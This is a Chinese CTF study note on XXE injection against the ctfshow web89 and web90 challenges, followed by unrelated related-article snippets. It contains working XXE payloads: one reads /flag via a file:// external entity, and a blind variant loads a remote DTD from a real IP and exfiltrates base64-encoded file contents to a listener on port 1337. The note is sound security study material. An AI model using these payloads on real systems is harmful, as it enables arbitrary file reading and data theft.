【心得】XXE漏洞利用个人笔记

news/2024/5/19 22:48:06 标签: 笔记, xxe, CTF, WEB, web安全, 安全

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用


XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父  3个叔父  8个堂弟堂妹   

<祖父>

    <叔父1>
        <堂兄1>
    </叔父1>

    <叔父2>
     <堂兄2>    
    </叔父2>

    <叔父3>

     <堂兄3>
    </叔父4>

</祖父>

xml格式


1 有回显时文件读取方法


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

例题1 web89

post传:

<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

 这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

 无回显点,考虑数据外带

 post传

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://124.222.136.33/test.dtd">
    %myurl;
]> 
<root>
1
</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%dtd;
%vps;

vps监听1337端口即可


http://www.niftyadmin.cn/n/5218600.html

相关文章

Gradle 翻译说明

毕竟转行已久&#xff0c;翻译更新不及时&#xff0c;在第五章之后&#xff0c;翻译就不再一一在这里更新了。各版本翻译请移步&#xff1a; 2.14.1版本&#xff08;正在翻译&#xff0c;目前已完成第七章&#xff09;&#xff1a;http://gradledoc.githang.com/2.14.1/usergu…

Arch Linux 安装 dwm 窗口管理器

窗口管理器是管理桌面上各种窗口的组件&#xff0c;主要功能有&#xff1a;窗口堆叠方式&#xff0c;窗口移动规则等。大多数人接触到的是堆叠式窗口管理器&#xff0c;一个窗口可以叠放在其他窗口之上&#xff0c;调整窗口的主要方式是鼠标。而dwm&#xff08;Dynamic Window …

python 输出日志到文件,删除过期文件

参考&#xff1a;python logging模块按日期打印日志&#xff0c;并删除过期的日志 官方&#xff1a;15.7. logging — Logging facility for Python — Python 2.7.18 documentation 一 简单日志打印&#xff1a; import logging logging.basicConfig(levellogging.DEBUG,fo…

自定义的AlphaShape类来提取平面点云数据的边界点 open3d c++ 代码 平面点云边界提取算法

使用了自定义的AlphaShape类来提取点云数据的边界点,并使用Open3D库进行可视化。 引入必要的头文件和命名空间: main函数: 读取点云数据文件到cloud对象。如果读取失败,则输出错误信息并返回。将点云数据全部着色为蓝色。创建一个空的点云对象boundaryCloud,用于存储提取…

rancher2.6 docker版本部署

1. 拉取镜像 docker pull rancher/rancher:v2.6.5 注&#xff1a; 上面命令中rancher的版本v2.6.5&#xff0c;仅仅是我因为我们环境中使用的k8s都是 1.20.1 到1.23.6 之间的版本。rancher支持的k8s版本&#xff0c;在github上查看&#xff1a;Release Release v2.6.5 ranche…

C++11的互斥量

互斥量是一种同步原语&#xff0c;是一种线程同步的手段&#xff0c;用来保护多线程同时访问的共享数据。 C11中提供了如下4种语义的互斥量&#xff08;mutex&#xff09;: 1、std::mutex&#xff1a;独占的互斥量&#xff0c;不能递归使用。 2、std::mutex_mutex&#xff1a;带…

【Linus】进程的等待

进程等待的必要性 如果子进程退出了&#xff0c;父进程没有对子进程进行回收&#xff0c;子进程就会进入僵尸进程&#xff0c;占用内存&#xff0c;导致内存泄漏如果程序进入僵尸状态&#xff0c;那么kill -9 也无法强制杀死进程子进程是父进程创建出来&#xff0c;完成父进程…

什么是鞋业生产ERP?鞋业生产ERP有什么用

鞋服行业和我们的生活关联密切&#xff0c;而这类商品种类多、尺码多、销售平台多、营销策略灵活&#xff0c;日常运营产生的业务数据量大&#xff0c;管理比较复杂。 在当今这个数字化时代&#xff0c;很多鞋业生产企业也在考虑通过ERP系统提升自身管理效率&#xff0c;继而加…